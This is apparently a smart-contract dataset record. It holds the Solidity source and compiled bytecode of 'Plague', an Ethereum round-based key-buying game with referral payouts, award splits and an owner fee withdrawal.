080fd5b8060128190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9757600080fd5b8060148190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bfc57600080fd5b80600c8190555050565b6000600b54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6b57600080fd5b8060118190555050565b6000600c54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cda57600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3f57600080fd5b80600d8190555050565b6000600e54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dae57600080fd5b80600f8190555050565b6000600454905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1d57600080fd5b8060138190555050565b6000600954905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e8c57600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef157600080fd5b8060058190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5657600080fd5b80600e8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fbb57600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102057600080fd5b8060108190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108557600080fd5b80600a81905550505600a165627a7a72305820bfc58391fd5f3626b9c1630fe4cdfdc5793938566b56efe8c5e7b6b5c6025a360029
{"success": true, "error": null, "results": {}}
2,598
0x293fdd00312d6c91af0280ea53f717dda68a0c95
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } contract PlagueEvents { //infective person event onInfectiveStage ( address indexed player, uint256 indexed rndNo, uint256 keys, uint256 eth, uint256 timeStamp, address indexed inveter ); // become leader during second stage event onDevelopmentStage ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp, address indexed inveter ); // award event onAward ( address indexed player, uint256 indexed rndNo, uint256 eth, uint256 timeStamp ); } contract Plague is PlagueEvents{ using SafeMath for *; using KeysCalc for uint256; struct Round { uint256 eth; // total eth uint256 keys; // total keys uint256 startTime; // end time uint256 endTime; // end time uint256 infectiveEndTime; // infective end time address leader; // leader address infectLastPlayer; // the player will award 10% eth address [11] lastInfective; // the lastest 11 infective address [4] loseInfective; // the lose infective bool [11] infectiveAward_m; // uint256 totalInfective; // the count of this round uint256 inveterAmount; // remain inveter amount of this round uint256 lastRoundReward; // last round remain eth 10% + eth 4% - inveterAmount + last remain award uint256 exAward; // development award } struct PlayerRound { uint256 eth; // eth player has added to round uint256 keys; // keys uint256 withdraw; // how many eth has been withdraw uint256 getInveterAmount; // inverter amount uint256 hasGetAwardAmount; // player has get award amount } uint256 public rndNo = 1; // current round number uint256 public totalEth = 0; // total eth in all round uint256 constant private rndInfectiveStage_ = 10 minutes; // round timer at iinfective stage12 hours; uint256 constant private rndInfectiveReadyTime_ = 1 minutes; // round timer at infective stage ready time uint256 constant private rndDevelopmentStage_ = 3 minutes; // round timer at development stage 30 minutes; uint256 constant private rndDevelopmentReadyTime_ = 1 minutes; // round timer at development stage ready time 1 hours; uint256 constant private allKeys_ = 100 * (10 ** 18); // all keys count uint256 constant private allEths_ = 7500773437500000; // all eths count uint256 constant private rndIncreaseTime_ = 3 minutes; // increase time 3 hours uint256 constant private developmentAwardPercent = 1; // 0.1% reduction every 3 hours mapping (uint256 => Round) public round_m; // (rndNo => Round) mapping (uint256 => mapping (address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound) address public owner; // owner address address public receiver = address(0); // receive eth address uint256 public ownerWithdraw = 0; // how many eth has been withdraw by owner bool public isStartGame = false; // start game flag constructor() public { owner = msg.sender; } /** * @dev prevents contracts from interacting */ modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } /** * @dev only owner */ modifier onlyOwner() { require(owner == msg.sender, "only owner can do it"); _; } /** * @dev It must be human beings to call the function. */ function isHuman(address _addr) private view returns (bool) { uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} return _codeLength == 0; } /** * @dev player infect a person at current round * */ function buyKeys(address _inveter) private { uint256 _eth = msg.value; uint256 _now = now; uint256 _rndNo = rndNo; uint256 _ethUse = msg.value; // start next round? if (_now > round_m[_rndNo].endTime) { require(round_m[_rndNo].endTime + rndDevelopmentReadyTime_ < _now, "we should wait some times"); uint256 lastAwardEth = (round_m[_rndNo].eth.mul(14) / 100).sub(round_m[_rndNo].inveterAmount); if(round_m[_rndNo].totalInfective < round_m[_rndNo].lastInfective.length.sub(1)) { uint256 nextPlayersAward = round_m[_rndNo].lastInfective.length.sub(1).sub(round_m[_rndNo].totalInfective); uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100; _totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward); if(round_m[_rndNo].infectLastPlayer != address(0)) { lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(3)/100)); } else { lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(4)/100)); } } _rndNo = _rndNo.add(1); rndNo = _rndNo; round_m[_rndNo].startTime = _now; round_m[_rndNo].endTime = _now + rndInfectiveStage_; round_m[_rndNo].totalInfective = 0; round_m[_rndNo].lastRoundReward = lastAwardEth; } // infective or second stage if (round_m[_rndNo].keys < allKeys_) { // infection stage uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth); if (_keys.add(round_m[_rndNo].keys) >= allKeys_) { _keys = allKeys_.sub(round_m[_rndNo].keys); if (round_m[_rndNo].eth >= allEths_) { _ethUse = 0; } else { _ethUse = (allEths_).sub(round_m[_rndNo].eth); } if (_eth > _ethUse) { // refund msg.sender.transfer(_eth.sub(_ethUse)); } else { // fix _ethUse = _eth; } // first stage is over, record current time round_m[_rndNo].infectiveEndTime = _now.add(rndInfectiveReadyTime_); round_m[_rndNo].endTime = _now.add(rndDevelopmentStage_).add(rndInfectiveReadyTime_); round_m[_rndNo].infectLastPlayer = msg.sender; } else { require (_keys >= 1 * 10 ** 19, "at least 10 thound people"); round_m[_rndNo].endTime = _now + rndInfectiveStage_; } round_m[_rndNo].leader = msg.sender; // update playerRound playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys); playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth); // update round round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys); round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth); // update global variable totalEth = _ethUse.add(totalEth); // event emit PlagueEvents.onInfectiveStage ( msg.sender, _rndNo, _keys, _ethUse, _now, _inveter ); } else { // second stage require(round_m[_rndNo].infectiveEndTime < _now, "The virus is being prepared..."); // increase 0.05 Ether every 3 hours _ethUse = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16)); require(_eth >= _ethUse, "Ether amount is wrong"); if(_eth > _ethUse) { msg.sender.transfer(_eth.sub(_ethUse)); } round_m[_rndNo].endTime = _now + rndDevelopmentStage_; round_m[_rndNo].leader = msg.sender; // update playerRound playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth); // update round round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth); // update global variable totalEth = _ethUse.add(totalEth); // update development award uint256 _exAwardPercent = ((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(developmentAwardPercent).add(developmentAwardPercent); if(_exAwardPercent >= 410) { _exAwardPercent = 410; } round_m[_rndNo].exAward = (_exAwardPercent.mul(_ethUse) / 1000).add(round_m[_rndNo].exAward); // event emit PlagueEvents.onDevelopmentStage ( msg.sender, _rndNo, _ethUse, _now, _inveter ); } // caculate share inveter amount if(_inveter != address(0) && isHuman(_inveter)) { playerRound_m[_rndNo][_inveter].getInveterAmount = playerRound_m[_rndNo][_inveter].getInveterAmount.add(_ethUse.mul(10) / 100); round_m[_rndNo].inveterAmount = round_m[_rndNo].inveterAmount.add(_ethUse.mul(10) / 100); } round_m[_rndNo].loseInfective[round_m[_rndNo].totalInfective % 4] = round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11]; round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11] = msg.sender; round_m[_rndNo].totalInfective = round_m[_rndNo].totalInfective.add(1); } /** * @dev recommend a player */ function buyKeyByAddr(address _inveter) onlyHuman() isWithinLimits(msg.value) public payable { require(isStartGame == true, "The game hasn&#39;t started yet."); buyKeys(_inveter); } /** * @dev play */ function() onlyHuman() isWithinLimits(msg.value) public payable { require(isStartGame == true, "The game hasn&#39;t started yet."); buyKeys(address(0)); } /** * @dev Award by rndNo. * 0x80ec35ff * 0x80ec35ff0000000000000000000000000000000000000000000000000000000000000001 */ function awardByRndNo(uint256 _rndNo) onlyHuman() public { require(isStartGame == true, "The game hasn&#39;t started yet."); require(_rndNo <= rndNo, "You&#39;re running too fast"); uint256 _ethOut = 0; uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100; _totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward); _totalAward = _totalAward.add(round_m[_rndNo].exAward); uint256 _getAward = 0; //withdraw award uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100; _totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward); _totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][msg.sender].keys)); _totalWithdraw = _totalWithdraw / round_m[_rndNo].keys; uint256 _inveterAmount = playerRound_m[_rndNo][msg.sender].getInveterAmount; _totalWithdraw = _totalWithdraw.add(_inveterAmount); uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw; if(_totalWithdraw > _withdrawed) { _ethOut = _ethOut.add(_totalWithdraw.sub(_withdrawed)); playerRound_m[_rndNo][msg.sender].withdraw = _totalWithdraw; } //lastest infect player if(msg.sender == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0) { _getAward = _getAward.add(_totalAward.mul(10)/100); } if(now > round_m[_rndNo].endTime) { // finally award if(round_m[_rndNo].leader == msg.sender) { _getAward = _getAward.add(_totalAward.mul(60)/100); } //finally ten person award for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1)) { if(round_m[_rndNo].lastInfective[i] == msg.sender && (round_m[_rndNo].totalInfective.sub(1) % 11) != i){ if(round_m[_rndNo].infectiveAward_m[i]) continue; if(round_m[_rndNo].infectLastPlayer != address(0)) { _getAward = _getAward.add(_totalAward.mul(3)/100); } else{ _getAward = _getAward.add(_totalAward.mul(4)/100); } round_m[_rndNo].infectiveAward_m[i] = true; } } } _ethOut = _ethOut.add(_getAward.sub(playerRound_m[_rndNo][msg.sender].hasGetAwardAmount)); playerRound_m[_rndNo][msg.sender].hasGetAwardAmount = _getAward; if(_ethOut != 0) { msg.sender.transfer(_ethOut); } // event emit PlagueEvents.onAward ( msg.sender, _rndNo, _ethOut, now ); } /** * @dev Get player bonus data * 0xd982466d * 0xd982466d0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000028f211f6c07d3b79e0aab886d56333e4027d4f59 * @return player&#39;s award * @return player&#39;s can withdraw amount * @return player&#39;s inveter amount * @return player&#39;s has been withdraw */ function getPlayerAwardByRndNo(uint256 _rndNo, address _playAddr) view public returns (uint256, uint256, uint256, uint256) { require(isStartGame == true, "The game hasn&#39;t started yet."); require(_rndNo <= rndNo, "You&#39;re running too fast"); uint256 _ethPlayerAward = 0; //withdraw award uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100; _totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward); _totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][_playAddr].keys)); _totalWithdraw = _totalWithdraw / round_m[_rndNo].keys; uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100; _totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward); _totalAward = _totalAward.add(round_m[_rndNo].exAward); //lastest infect player if(_playAddr == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0) { _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(10)/100); } if(now > round_m[_rndNo].endTime) { // finally award if(round_m[_rndNo].leader == _playAddr) { _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(60)/100); } //finally ten person award for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1)) { if(round_m[_rndNo].lastInfective[i] == _playAddr && (round_m[_rndNo].totalInfective.sub(1) % 11) != i) { if(round_m[_rndNo].infectLastPlayer != address(0)) { _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(3)/100); } else{ _ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(4)/100); } } } } return ( _ethPlayerAward, _totalWithdraw, playerRound_m[_rndNo][_playAddr].getInveterAmount, playerRound_m[_rndNo][_playAddr].hasGetAwardAmount + playerRound_m[_rndNo][_playAddr].withdraw ); } /** * @dev fee withdraw to receiver, everyone can do it. * 0x6561e6ba */ function feeWithdraw() onlyHuman() public { require(isStartGame == true, "The game hasn&#39;t started yet."); require(receiver != address(0), "The receiver address has not been initialized."); uint256 _total = (totalEth.mul(5) / (100)); uint256 _withdrawed = ownerWithdraw; require(_total > _withdrawed, "No need to withdraw"); ownerWithdraw = _total; receiver.transfer(_total.sub(_withdrawed)); } /** * @dev start game */ function startGame() onlyOwner() public { round_m[1].startTime = now; round_m[1].endTime = now + rndInfectiveStage_; round_m[1].lastRoundReward = 0; isStartGame = true; } /** * @dev change owner. */ function changeReceiver(address newReceiver) onlyOwner() public { receiver = newReceiver; } /** * @dev returns all current round info needed for front end * 0x747dff42 */ function getCurrentRoundInfo() public view returns(uint256, uint256[2], uint256[3], address[2], uint256[6], address[11],address[4]) { require(isStartGame == true, "The game hasn&#39;t started yet."); uint256 _rndNo = rndNo; uint256 _totalAwardAtRound = round_m[_rndNo].lastRoundReward.add(round_m[_rndNo].exAward).add(round_m[_rndNo].eth.mul(30) / 100); return ( _rndNo, [round_m[_rndNo].eth, round_m[_rndNo].keys], [round_m[_rndNo].startTime, round_m[_rndNo].endTime, round_m[_rndNo].infectiveEndTime], [round_m[_rndNo].leader, round_m[_rndNo].infectLastPlayer], [getBuyPrice(), round_m[_rndNo].lastRoundReward, _totalAwardAtRound, round_m[_rndNo].inveterAmount, round_m[_rndNo].totalInfective % 11, round_m[_rndNo].exAward], round_m[_rndNo].lastInfective, round_m[_rndNo].loseInfective ); } /** * @dev return the price buyer will pay for next 1 individual key during first stage. * 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { require(isStartGame == true, "The game hasn&#39;t started yet."); uint256 _rndNo = rndNo; uint256 _now = now; // start next round? if (_now > round_m[_rndNo].endTime) { return (750007031250000); } if (round_m[_rndNo].keys < allKeys_) { return ((round_m[_rndNo].keys.add(10000000000000000000)).ethRec(10000000000000000000)); } if(round_m[_rndNo].keys >= allKeys_ && round_m[_rndNo].infectiveEndTime != 0 && round_m[_rndNo].infectLastPlayer != address(0) && _now < round_m[_rndNo].infectiveEndTime) { return 5 * 10 ** 16; } if(round_m[_rndNo].keys >= allKeys_ && _now > round_m[_rndNo].infectiveEndTime) { // increase 0.05 Ether every 3 hours uint256 currentPrice = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16)); return currentPrice; } //second stage return (0); } } library KeysCalc { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } }
0x6080604052600436106100e55763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461026d5780633c28308a146102945780633c3c9c23146102a95780634311de8f146102be578063547e3f06146102d35780636561e6ba146102f6578063747dff421461030b5780637e8ac5901461043e57806380ec35ff146104b65780638da5cb5b146104ce578063a05ce940146104ff578063c5960c291461054e578063d65ab5f214610562578063d982466d14610577578063e3aae11b146105c1578063f7260d3e146105ea575b33803b801561012c576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612907833981519152604482015290519081900360640190fd5b34633b9aca008110156101af576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af6800000811115610211576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b60075460ff16151560011461025e576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b61026860006105ff565b505050005b34801561027957600080fd5b50610282611136565b60408051918252519081900360200190f35b3480156102a057600080fd5b50610282611346565b3480156102b557600080fd5b5061028261134c565b3480156102ca57600080fd5b50610282611352565b3480156102df57600080fd5b506102f4600160a060020a0360043516611358565b005b34801561030257600080fd5b506102f46113e9565b34801561031757600080fd5b506103206115dc565b6040518088815260200187600260200280838360005b8381101561034e578181015183820152602001610336565b5050505090500186600360200280838360005b83811015610379578181015183820152602001610361565b5050505090500185600260200280838360005b838110156103a457818101518382015260200161038c565b5050505090500184600660200280838360005b838110156103cf5781810151838201526020016103b7565b5050505090500183600b60200280838360005b838110156103fa5781810151838201526020016103e2565b5050505090500182600460200280838360005b8381101561042557818101518382015260200161040d565b5050505090500197505050505050505060405180910390f35b34801561044a57600080fd5b50610456600435611837565b604080519b8c5260208c019a909a528a8a019890985260608a01969096526080890194909452600160a060020a0392831660a0890152911660c087015260e086015261010085015261012084015261014083015251908190036101600190f35b3480156104c257600080fd5b506102f460043561189d565b3480156104da57600080fd5b506104e3611e7e565b60408051600160a060020a039092168252519081900360200190f35b34801561050b57600080fd5b50610523600435600160a060020a0360243516611e8d565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6102f4600160a060020a0360043516611ec5565b34801561056e57600080fd5b506102f461204d565b34801561058357600080fd5b5061059b600435600160a060020a0360243516612137565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156105cd57600080fd5b506105d661254f565b604080519115158252519081900360200190f35b3480156105f657600080fd5b506104e3612558565b60008054808252600260205260408220600301543492429291849190819081908190819088111561086357600087815260026020526040902060030154603c018811610695576040805160e560020a62461bcd02815260206004820152601960248201527f77652073686f756c64207761697420736f6d652074696d657300000000000000604482015290519081900360640190fd5b6000878152600260205260409020601881015490546106d991906064906106c390600e63ffffffff61256716565b8115156106cc57fe5b049063ffffffff6125e416565b6000889052600260205294506106f7600b600163ffffffff6125e416565b600088815260026020526040902060170154101561081e5760008781526002602052604090206017015461074390610737600b600163ffffffff6125e416565b9063ffffffff6125e416565b60008881526002602052604090205490945060649061076990601e63ffffffff61256716565b81151561077257fe5b600089815260026020526040902060190154919004935061079a90849063ffffffff61264416565b600088815260026020526040902060060154909350600160a060020a031615610802576107fb6107ee60646107d686600363ffffffff61256716565b8115156107df57fe5b8791900463ffffffff61256716565b869063ffffffff61264416565b945061081e565b61081b6107ee60646107d686600463ffffffff61256716565b94505b61082f87600163ffffffff61264416565b600081815581815260026020819052604082209081018b90556102588b016003820155601781019190915560190186905596505b60008781526002602052604090206001015468056bc75e2d631000001115610c02576000878152600260205260409020546108a4908a63ffffffff61269f16565b60008881526002602052604090206001015490925068056bc75e2d63100000906108d590849063ffffffff61264416565b10610a26576000878152600260205260409020600101546109069068056bc75e2d631000009063ffffffff6125e416565b600088815260026020526040902054909250661aa5e9e8486a601161092e5760009550610958565b60008781526002602052604090205461095590661aa5e9e8486a609063ffffffff6125e416565b95505b858911156109a257336108fc6109748b8963ffffffff6125e416565b6040518115909202916000818181858888f1935050505015801561099c573d6000803e3d6000fd5b506109a6565b8895505b6109b788603c63ffffffff61264416565b6000888152600260205260409020600401556109eb603c6109df8a60b463ffffffff61264416565b9063ffffffff61264416565b60008881526002602052604090206003810191909155600601805473ffffffffffffffffffffffffffffffffffffffff191633179055610aa0565b678ac7230489e80000821015610a86576040805160e560020a62461bcd02815260206004820152601960248201527f6174206c656173742031302074686f756e642070656f706c6500000000000000604482015290519081900360640190fd5b600087815260026020526040902061025889016003909101555b6000878152600260209081526040808320600501805473ffffffffffffffffffffffffffffffffffffffff19163390811790915560038352818420908452909152902060010154610af890839063ffffffff61264416565b60008881526003602090815260408083203384529091529020600181019190915554610b25908790612644565b6000888152600360209081526040808320338452825280832093909355898252600290522060010154610b5f90839063ffffffff61264416565b6000888152600260205260409020600181019190915554610b8790879063ffffffff61264416565b600088815260026020526040902055600154610baa90879063ffffffff61264416565b60015560408051838152602081018890528082018a90529051600160a060020a038c1691899133917f6ba72b77342d975bcfca91896da50e2306b21fa4b34dc71d1beb12dbd6afc33b919081900360600190a4610f03565b6000878152600260205260409020600401548811610c6a576040805160e560020a62461bcd02815260206004820152601e60248201527f546865207669727573206973206265696e672070726570617265642e2e2e0000604482015290519081900360640190fd5b610cc166b1a2bc2ec500006109df66b1a2bc2ec5000060b4610cab600260008e8152602001908152602001600020600401548e6125e490919063ffffffff16565b811515610cb457fe5b049063ffffffff61256716565b955085891015610d1b576040805160e560020a62461bcd02815260206004820152601560248201527f457468657220616d6f756e742069732077726f6e670000000000000000000000604482015290519081900360640190fd5b85891115610d6157336108fc610d378b8963ffffffff6125e416565b6040518115909202916000818181858888f19350505050158015610d5f573d6000803e3d6000fd5b505b600087815260026020908152604080832060b48c016003808301919091556005909101805473ffffffffffffffffffffffffffffffffffffffff191633908117909155908352818420908452909152902054610dc490879063ffffffff61264416565b6000888152600360209081526040808320338452825280832093909355898252600290522054610dfb90879063ffffffff61264416565b600088815260026020526040902055600154610e1e90879063ffffffff61264416565b6001908155600088815260026020526040902060040154610e5491906109df90829060b490610cab908e9063ffffffff6125e416565b905061019a8110610e64575061019a5b6000878152600260205260409020601a0154610ea3906103e8610e8d848a63ffffffff61256716565b811515610e9657fe5b049063ffffffff61264416565b600088815260026020908152604091829020601a019290925580518881529182018a90528051600160a060020a038d16928a9233927f7cfc1da3c0c40e1670d11d884a3776eb3a8949e87b844c6dac43b5c9c3dc5f7e9281900390910190a45b600160a060020a038a1615801590610f1f5750610f1f8a6126cc565b1561101e57610f8c6064610f3a88600a63ffffffff61256716565b811515610f4357fe5b04600360008a815260200190815260200160002060008d600160a060020a0316600160a060020a031681526020019081526020016000206003015461264490919063ffffffff16565b6003600089815260200190815260200160002060008c600160a060020a0316600160a060020a031681526020019081526020016000206003018190555061100b6064610fe2600a8961256790919063ffffffff16565b811515610feb57fe5b60008a81526002602052604090206018015491900463ffffffff61264416565b6000888152600260205260409020601801555b60008781526002602052604090206017810154600790910190600b9006600b811061104557fe5b015460008881526002602052604090206017810154600160a060020a03909216916012909101906003166004811061107957fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560008781526002602052604090206017810154339160070190600b9006600b81106110cc57fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055600087815260026020526040902060170154611115906001612644565b60009788526002602052604090972060170196909655505050505050505050565b60075460009081908190819060ff16151560011461118c576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b6000805480825260026020526040909120600301549093504292508211156111bd576602aa209ead3c509350611340565b60008381526002602052604090206001015468056bc75e2d6310000011156112225760008381526002602052604090206001015461121b90678ac7230489e800009061120f908263ffffffff61264416565b9063ffffffff6126d816565b9350611340565b60008381526002602052604090206001015468056bc75e2d631000001180159061125c575060008381526002602052604090206004015415155b80156112815750600083815260026020526040902060060154600160a060020a031615155b801561129d575060008381526002602052604090206004015482105b156112b15766b1a2bc2ec500009350611340565b60008381526002602052604090206001015468056bc75e2d63100000118015906112eb575060008381526002602052604090206004015482115b1561133b5761133166b1a2bc2ec500006109df66b1a2bc2ec5000060b4610cab600260008a815260200190815260200160002060040154886125e490919063ffffffff16565b9050809350611340565b600093505b50505090565b60005481565b60015481565b60065481565b600454600160a060020a031633146113ba576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79206f776e65722063616e20646f206974000000000000000000000000604482015290519081900360640190fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008033803b8015611433576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612907833981519152604482015290519081900360640190fd5b60075460ff161515600114611480576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b600554600160a060020a03161515611508576040805160e560020a62461bcd02815260206004820152602e60248201527f546865207265636569766572206164647265737320686173206e6f742062656560448201527f6e20696e697469616c697a65642e000000000000000000000000000000000000606482015290519081900360840190fd5b60015460649061151f90600563ffffffff61256716565b81151561152857fe5b04935060065492508284111515611589576040805160e560020a62461bcd02815260206004820152601360248201527f4e6f206e65656420746f20776974686472617700000000000000000000000000604482015290519081900360640190fd5b6006849055600554600160a060020a03166108fc6115ad868663ffffffff6125e416565b6040518115909202916000818181858888f193505050501580156115d5573d6000803e3d6000fd5b5050505050565b60006115e661284e565b6115ee612869565b6115f661284e565b6115fe612888565b6116066128a7565b61160e6128c7565b600754600090819060ff161515600114611660576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b6000805480825260026020526040909120549092506116c39060649061168d90601e63ffffffff61256716565b81151561169657fe5b6000858152600260205260409020601a81015460199091015492909104916109df9163ffffffff61264416565b604080518082018252600085815260026020818152848320805485526001810154828601528551606081018752818401548152600382015481840152600482015481880152865180880188526005830154600160a060020a039081168252958b905293835260069091015490931690820152835160c081019094529394508593919290919080611751611136565b815260008881526002602081815260408084206019810154838701528186018c9052601881015460608701526017810154600b908190066080880152601a82015460a090970196909652938c905291905280516101608101918290526007830193601290930192909184919082845b8154600160a060020a031681526001909101906020018083116117c057505060408051608081019182905294965085935060049250905082845b8154600160a060020a031681526001909101906020018083116117fa57505050505090509850985098509850985098509850505090919293949596565b600260208190526000918252604090912080546001820154928201546003830154600484015460058501546006860154601787015460188801546019890154601a90990154979998969795969495600160a060020a03948516959390941693919290918b565b600080808080808033803b80156118ec576040805160e560020a62461bcd028152602060048201526011602482015260008051602061290783